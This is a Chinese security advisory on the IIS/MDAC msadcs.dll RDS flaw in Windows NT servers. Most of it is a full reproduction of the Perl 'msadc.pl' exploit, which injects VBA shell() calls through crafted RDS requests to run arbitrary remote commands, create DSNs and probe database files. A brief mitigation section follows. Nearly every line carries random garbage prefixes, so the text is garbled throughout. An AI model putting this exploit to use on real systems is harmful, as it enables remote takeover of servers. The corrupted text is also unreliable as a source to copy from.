IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<s{/ka3 \Fe5<G'v 涉及程序：
Sqge5 v Microsoft NT server
X0P$r6 ; PCIC*!{ 描述：
LnyA 5T 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v0xi( Wu 6R,;c7Izhd 详细：
#UI`G3w< 如果你没有时间读详细内容的话，就删除:
}}x R?+4A c:\Program Files\Common Files\System\Msadc\msadcs.dll
-OW$ 有关的安全问题就没有了。
~,guw7F X>B/DT 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
4{Ak| V('b|gsEo 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
W ][IHy< 关于利用ODBC远程漏洞的描述，请参看:
p,0 \NUC 7yj2w e http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G^OSXf5 zld>o3K} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
gI%n(eY http://www.microsoft.com/security/bulletins/MS99-025faq.asp |JDJ{;o r\1*N.O3|O 这里不再论述。
T DseWdA DxD0iJ=W 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
z>&D~0 @]7\.>) /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ynd}w
G' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
oy'+n- YS~x-5OE\ x~z 2l# ow #将下面这段保存为txt文件，然后: "perl -x 文件名"
-| T^ Af%?WZlOq #!perl
hPH7(f|c{g #
GJ$,@ # MSADC/RDS 'usage' (aka exploit) script
4Nz Hzn #
t.TQ@c+,J # by rain.forest.puppy
oe<Y,%u"6 #
y1saE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
OH(+]%B78 # beta test and find errors!
WT)")0)[ f_\-y&)+* use Socket; use Getopt::Std;
\X`P
W getopts("e:vd:h:XR", \%args);
)}aF =% 4~/6d9f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tv{.iM|V c
Qi}LV"&L if (!defined $args{h} && !defined $args{R}) {
][mc^eI0s| print qq~
?|/}~ nj7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
f: SF&t* -h <host> = host you want to scan (ip or domain)
r6)1Y`K=9 -d <seconds> = delay between calls, default 1 second
n"
~*9' -X = dump Index Server path table, if available
pWp2{G^XB -v = verbose
S ] &->5" -e = external dictionary file for step 5
K|/a]I": +u2Co_FJ& Or a -R will resume a command session
; n@C(hG h.^DRR^S ~; exit;}
O
o:jP6 r E .3}a>f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7 AiCQW f9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
[ b W=>M if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3{z|301<m if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
w~ & ]gyf $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
K6U>Qums if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{Vm36/a mI0r,Z*+M if (!defined $args{R}){ $ret = &has_msadc;
MD)"r>k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D^{:UbN (
A) wcB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*J=ol . "cmd /c ";
1`t? 5|s>
$in=<STDIN>; chomp $in;
85
hYYB0v $command="cmd /c " . $in ;
jJvNN -^ r;C \eN if (defined $args{R}) {&load; exit;}
x(`$D {;E/l(HNI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(?!0__NN; &try_btcustmr;
E-D5iiF ss<'g @R print "\nStep 2: Trying to make our own DSN...";
abnd U,s &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#77UKYj2L- NjxW A&[ng print "\nStep 3: Trying known DSNs...";
m+UdT854 &known_dsn;
g@k9w{_
(ZK >WoV print "\nStep 4: Trying known .mdbs...";
xNkY'4% &known_mdb;
(0Cszm. G= cx c_9 if (defined $args{e}){
{ 1%Zy Y print "\nStep 5: Trying dictionary of DSN names...";
>B
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
v~Qy{dn
P zTB9GrU print "Sorry Charley...maybe next time?\n";
Yn>zR I exit;
8tMte!E =@ZtUjcJx ##############################################################################
0 l@P]_qq` l,FoK76G sub sendraw { # ripped and modded from whisker
s>\g03= sleep($delay); # it's a DoS on the server! At least on mine...
@45 H8|:k my ($pstr)=@_;
[u80-x< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T6$<o\g' die("Socket problems\n");
?m1$*j if(connect(S,pack "SnA4x8",2,80,$target)){
uN
62> select(S); $|=1;
%Z yPK,(" print $pstr; my @in=<S>;
1,QZnF!.x select(STDOUT); close(S);
29^bMau)v return @in;
3L?a4,Q"k} } else { die("Can't connect...\n"); }}
b<AE}UK Ba0D"2CgY ##############################################################################
y Xx62J e,&%Z
sub make_header { # make the HTTP request
bOMP8{H, my $msadc=<<EOT
sjgR \`AU POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZPao*2 xz User-Agent: ACTIVEDATA
MPn>&28"|K Host: $ip
I;-5]/, Content-Length: $clen
9`xFZMd31A Connection: Keep-Alive
%n25Uq qk,y |7 p ADCClientVersion:01.06
*^ 6xt7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
03WRj +w H$amt^|zQ4 --!ADM!ROX!YOUR!WORLD!
X&.$/xaT Content-Type: application/x-varg
~q(C j"7 Content-Length: $reqlen
xm5FQ) T 0t?<6-3`/ EOT
,jsx]U/^ ; $msadc=~s/\n/\r\n/g;
Z(mn
U;9{v return $msadc;}
O^weUpe\ N>%KV8>{L ##############################################################################
T1HiHvJ g/Jj ]X#r sub make_req { # make the RDS request
cGta4; my ($switch, $p1, $p2)=@_;
IQ=|Kj9h my $req=""; my $t1, $t2, $query, $dsn;
K)UOx#xe1 "!6~*!]c if ($switch==1){ # this is the btcustmr.mdb query
Y0O<]2yVx $query="Select * from Customers where City=" . make_shell();
xKST-:c + $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P=[x!}.I $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
h)
PB up3<=u{>
elsif ($switch==2){ # this is general make table query
ysJhP . $query="create table AZZ (B int, C varchar(10))";
C$G88hesn $dsn="$p1";}
Q
EGanpz YCBML!L elsif ($switch==3){ # this is general exploit table query
rqe_zyc& $query="select * from AZZ where C=" . make_shell();
6XL9
qb~X $dsn="$p1";}
/{ MH' efkie} elsif ($switch==4){ # attempt to hork file info from index server
e=;@L3f $query="select path from scope()";
UN?T}p-
oF $dsn="Provider=MSIDXS;";}
C%?D E@k Pq\V($gN elsif ($switch==5){ # bad query
Z?v6pjZ? $query="select";
I+?$4SC $dsn="$p1";}
u$,Wyi )L rI66frbj $t1= make_unicode($query);
,
gr&s+ $t2= make_unicode($dsn);
GVc[p\h( $req = "\x02\x00\x03\x00";
mRnzP[7-\) $req.= "\x08\x00" . pack ("S1", length($t1));
ae#HA[\0 G $req.= "\x00\x00" . $t1 ;
F"f}vl $req.= "\x08\x00" . pack ("S1", length($t2));
IA 9v1:> $req.= "\x00\x00" . $t2 ;
QqK{~I|l $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
G%8)6m'3 return $req;}
`pAp[]SfQd _& Uo|T ##############################################################################
M(WOx Z8 MY*>) us\ sub make_shell { # this makes the shell() statement
obc^<ZD] return "'|shell(\"$command\")|'";}
VueQP| &Yk s,2:P ##############################################################################
f.84=epv xiOrk sub make_unicode { # quick little function to convert to unicode
27 YLg c my ($in)=@_; my $out;
*o\Y~U-so for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dms:i)L2 return $out;}
X.AWs=:- 'j<:FUDJ ##############################################################################
[(P[qEY l^y?L 4hg) sub rdo_success { # checks for RDO return success (this is kludge)
<_{4-Q>S3# my (@in) = @_; my $base=content_start(@in);
fRa- bqQ if($in[$base]=~/multipart\/mixed/){
u3i| } ` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"k o?att~ return 0;}
M3;v3
}z<- L5qCv -{ ##############################################################################
I;.!
hV>E
;/^]| sub make_dsn { # this makes a DSN for us
?)o4 Kt' h my @drives=("c","d","e","f");
t k/K0 u print "\nMaking DSN: ";
ny_ kr`$42 foreach $drive (@drives) {
{ p*hN i)0 print "$drive: ";
%)hIpxOrX my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
sa gBmA~ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
pT;-1c%: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c>WpO Z, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'UXj\vJ 3E return 0 if $2 eq "404"; # not found/doesn't exist
-G<2R"Q#N if($2 eq "200") {
B/9<b{6 foreach $line (@results) {
IU'!?XVo return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
N"
Jtg@w } return 0;}
iI@Gyq= am'p^Z @ ##############################################################################
`\4JwiPo v!{'23`87 sub verify_exists {
7 ~ l my ($page)=@_;
;aK !eD$ my @results=sendraw("GET $page HTTP/1.0\n\n");
D.&eM4MZ return $results[0];}
~SR(K{nf#. mA] 84zO ##############################################################################
+?5Uy*$ hzu MTKH9 sub try_btcustmr {
oB{ }-[G my @drives=("c","d","e","f");
"J[i=~( my @dirs=("winnt","winnt35","winnt351","win","windows");
:
` 6$/DK id#k!*$7 foreach $dir (@dirs) {
G0; EbJ/& print "$dir -> "; # fun status so you can see progress
WP@JrnxO\` foreach $drive (@drives) {
< ;,S"e print "$drive: "; # ditto
. 1z$ A $reqlen=length( make_req(1,$drive,$dir) ) - 28;
J.e8UQ@=5 $reqlenlen=length( "$reqlen" );
D@r n@N $clen= 206 + $reqlenlen + $reqlen;
qvfAG 0p ek l? K~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
({H+ y
9n if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
o~.o^0Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$YGIN7_Gg U3|&Jee ##############################################################################
.t^UK#@#4 L4/T I(MP sub odbc_error {
F3Ak'h{Ay my (@in)=@_; my $base;
:U-US|)(2 my $base = content_start(@in);
^ ;CR0.4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jY#(A23 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u5{5ts+: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DtJTnvG~B $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
++Ys9Y)*, return $in[$base+4].$in[$base+5].$in[$base+6];}
nzE,F\k print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
v1"g!%U6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ej"o?1l@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1y )$[e
eA*Jfb ##############################################################################
v-7Rb )EP B
)1<`nJA sub verbose {
msqxPC^I my ($in)=@_;
_L:i=.hxN return if !$verbose;
]2xx+P#Y print STDOUT "\n$in\n";}
5;K-,"UQ @ cS1w'= ##############################################################################
sx-Hw4.a" I"F
.%re sub save {
z"s%# /# my ($p1, $p2, $p3, $p4)=@_;
7S dV %" open(OUT, ">rds.save") || print "Problem saving parameters...\n";
vzohq1r5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9HJ'p:{) close OUT;}
&8X
.!r`f n$OE ~YwP{ ##############################################################################
]4 K1%ZV . n)!ZN sub load {
m>abK@5na my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)ZgER[ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
P"V{y|2 @p=<IN>; close(IN);
,. 6J6{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}W__ffH $target= inet_aton($ip) || die("inet_aton problems");
/XW&q)z-Hl print "Resuming to $ip ...";
8=n9hLhqo $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
lZS_n9Sc if($p[1]==1) {
M8#*zCp {5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
{#w A !>. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6m-:F.k1( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rt 3f7 s* if (rdo_success(@results)){print "Success!\n";}
f- k|w%R@ else { print "failed\n"; verbose(odbc_error(@results));}}
|Uy e>%*}4 elsif ($p[1]==3){
0U ~;%N+lv if(run_query("$p[3]")){
_Ra<|NVQh print "Success!\n";} else { print "failed\n"; }}
# 4P3xa elsif ($p[1]==4){
n ,&/D if(run_query($drvst . "$p[3]")){
{XDY:`vZ} print "Success!\n"; } else { print "failed\n"; }}
Uxk[O exit;}
{ ;Y 89&*R ==h|+NFa ##############################################################################
Bg 7j5 E I=N aq sub create_table {
V>FT~k_" my ($in)=@_;
w PG1P'w; $reqlen=length( make_req(2,$in,"") ) - 28;
Ss# @=:"P $reqlenlen=length( "$reqlen" );
|P ,zGy $clen= 206 + $reqlenlen + $reqlen;
!^)wPmk my @results=sendraw(make_header() . make_req(2,$in,""));
`x{.z=xC return 1 if rdo_success(@results);
Sc4obcw% my $temp= odbc_error(@results); verbose($temp);
s FQ4O- SM return 1 if $temp=~/Table 'AZZ' already exists/;
tT@w%Sz57N return 0;}
MG7 ?N # "w npiB} ##############################################################################
}pl]9 T}L^ CU0 sub known_dsn {
@pF
fpHq?> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5|<yfk8*J my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
eK Z@ FEZ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
C%}]"0Q1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
e-CNQnO~ kCaO\#ta foreach $dSn (@dsns) {
,67" C2Y print ".";
A9\]3 LY next if (!is_access("DSN=$dSn"));
T3USNc51 if(create_table("DSN=$dSn")){
W_[|X}lWP print "$dSn successful\n";
ibd$%;bX3 if(run_query("DSN=$dSn")){
Jm U<y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g.B%#bfg print "Something's borked. Use verbose next time\n";}}} print "\n";}
j4~7a k G X q }Ucpj ##############################################################################
HE#,(;1i 7BL |x sub is_access {
||-nm O y my ($in)=@_;
Vs#"SpH{ ' $reqlen=length( make_req(5,$in,"") ) - 28;
8
uDerJ ! $reqlenlen=length( "$reqlen" );
jd%Len&p $clen= 206 + $reqlenlen + $reqlen;
@4IW=V my @results=sendraw(make_header() . make_req(5,$in,""));
up\oWR: my $temp= odbc_error(@results);
0dgP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b]!9eV$ return 0;}
G(U 9rJ9 doP$N3Zm ##############################################################################
v ! 7s
M \#4m@ sub run_query {
?M *7@t@ my ($in)=@_;
[[:UhrH- $reqlen=length( make_req(3,$in,"") ) - 28;
r4O|() $reqlenlen=length( "$reqlen" );
IDy_L;'`* $clen= 206 + $reqlenlen + $reqlen;
{>8Pl2J my @results=sendraw(make_header() . make_req(3,$in,""));
[8>z#* B return 1 if rdo_success(@results);
&+mV7o my $temp= odbc_error(@results); verbose($temp);
FJP< bREQ return 0;}
^4c,U9J= 0U$:>bQ ##############################################################################
8F#osN 63W{U/*aao sub known_mdb {
bGbqfO` my @drives=("c","d","e","f","g");
_f cS>/<a my @dirs=("winnt","winnt35","winnt351","win","windows");
&&[zT/]P my $dir, $drive, $mdb;
>Bc> IO my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D`6iDi t ldA !ou7 # this is sparse, because I don't know of many
QX[Dj z0H8 my @sysmdbs=( "\\catroot\\icatalog.mdb",
n[!;yO "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
WfTD7?\dw "\\system32\\certmdb.mdb",
6cM<>&e "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\)ip>{ WG )uZoH 8? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#
;K,,ku
x "\\cfusion\\cfapps\\forums\\forums_.mdb",
C:]s;0$3'9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=M7TCE "\\cfusion\\cfapps\\security\\realm_.mdb",
EXuL SzQwv "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MkwU<ae AB "\\cfusion\\database\\cfexamples.mdb",
aF!E x "\\cfusion\\database\\cfsnippets.mdb",
b"I~_CL| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
LO)GTyzvJ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>lr hHU "\\cfusion\\brighttiger\\database\\cleam.mdb",
8 z Y)J # "\\cfusion\\database\\smpolicy.mdb",
.*BA 1sjE "\\cfusion\\database\cypress.mdb",
pet~ [e %! "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
JIzY,%`\ "\\website\\cgi-win\\dbsample.mdb",
}91*4@B7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
AXs=1 e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Kx~$Bor_! ); #these are just
ZWO)tVw9G foreach $drive (@drives) {
; e@gO foreach $dir (@dirs){
ipobr7G.SD foreach $mdb (@sysmdbs) {
i3#'*7f%j print ".";
4'' ,6KJ@ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
yL6^\ x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
aX;A==> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U&X2cR &a print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
YutQ ]zYA. } else { print "Something's borked. Use verbose next time\n"; }}}}}
@5xu>g Kn (Yv{{mIy foreach $drive (@drives) {
B
MM--y@ foreach $mdb (@mdbs) {
T-'~? [v print ".";
;f: gX `"\ if(create_table($drv . $drive . $dir . $mdb)){
^i+ [m print "\n" . $drive . $dir . $mdb . " successful\n";
]jyM@ if(run_query($drv . $drive . $dir . $mdb)){
@Br
{!# Wf print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
u:@U
$:sZ } else { print "Something's borked. Use verbose next time\n"; }}}}
i31<].|kA* }
`H>b5 t2-
^-g 6 ##############################################################################
FZ F @ [#Y' dFQ sub hork_idx {
ciud RK63M print "\nAttempting to dump Index Server tables...\n";
uRE*% d> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Rf)ke(" $reqlen=length( make_req(4,"","") ) - 28;
re^Hc (8M $reqlenlen=length( "$reqlen" );
!^e =P%S $clen= 206 + $reqlenlen + $reqlen;
'c V?i&; my @results=sendraw2(make_header() . make_req(4,"",""));
yhpz5[AuO if (rdo_success(@results)){
rEdY>\' my $max=@results; my $c; my %d;
`9Yn0B. for($c=19; $c<$max; $c++){
_%~$'H y $results[$c]=~s/\x00//g;
54{q.I@n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+`B 'r
' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3uV4 /% U $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
d H?
ScXM= $d{"$1$2"}="";}
.Pe9_ZH$W foreach $c (keys %d){ print "$c\n"; }
ZtK\HDdp } else {print "Index server doesn't seem to be installed.\n"; }}
Gh}yb-$N`& o:"a nHs ##############################################################################
9xFO]Y" Pao%pA.< sub dsn_dict {
KVkMU?6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$d/&k` while(<IN>){
(&[[46 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+ H_MV=A^ next if (!is_access("DSN=$dSn"));
)55\4<ty if(create_table("DSN=$dSn")){
bUZ_UW print "$dSn successful\n";
`pL^}_>|GM if(run_query("DSN=$dSn")){
Zp&@h-%YoD print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9XLFHV(" print "Something's borked. Use verbose next time\n";}}}
S|em[D[Y^ print "\n"; close(IN);}
('C7= u&F #]E(N~ ##############################################################################
uj r(K=E Y
ya` &V sub sendraw2 { # ripped and modded from whisker
A(8n sleep($delay); # it's a DoS on the server! At least on mine...
S QY"OBo<e my ($pstr)=@_;
t
P"\J(x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
EH n"n"Y die("Socket problems\n");
I7n3x N&4" if(connect(S,pack "SnA4x8",2,80,$target)){
!2tW$B P^ print "Connected. Getting data";
3GH(wSv9\ open(OUT,">raw.out"); my @in;
k `\R+WK$ select(S); $|=1; print $pstr;
]iko mCg while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-r<#rITH" close(OUT); select(STDOUT); close(S); return @in;
jjzA .8?(7 } else { die("Can't connect...\n"); }}
Nc)J18 En6H%^d2 ##############################################################################
p `F9Amb *|% ^0#$c sub content_start { # this will take in the server headers
B=Ym x2A9] my (@in)=@_; my $c;
. ]@=es for ($c=1;$c<500;$c++) {
2HD]?:Fk7 if($in[$c] =~/^\x0d\x0a/){
WG7k(Sp ] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
pZ(Fx&fy else { return $c+1; }}}
+n L+ N return -1;} # it should never get here actually
D)@XoM( k5`OH8G ##############################################################################
j(rL '?QuJFk i sub funky {
Km#pX1]>e my (@in)=@_; my $error=odbc_error(@in);
*\uM.m0$ if($error=~/ADO could not find the specified provider/){
K_/zuTy print "\nServer returned an ADO miscofiguration message\nAborting.\n";
EW<kI+0D exit;}
O bG|o1b if($error=~/A Handler is required/){
(`BSVxJH print "\nServer has custom handler filters (they most likely are patched)\n";
Q=uR Kh exit;}
T ?Fcohz( if($error=~/specified Handler has denied Access/){
; CHi\+` 5 print "\nServer has custom handler filters (they most likely are patched)\n";
~utJB 'gr exit;}}
tK(g-u0N`( S4^N^lQ ] ##############################################################################
D$ {={x 5O/i3m26 sub has_msadc {
I 1Sa^7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%+)o'nf"U my $base=content_start(@results);
@}-r&/# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
->^~KVh& return 0;}
h#r^teui) \2 y5_;O ########################
kq=V4-a[ FQz?3w&ia a :, y
Z 解决方案：
;`YkMS`=W 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<A5]]{9 + 2、移除web 目录: /msadc
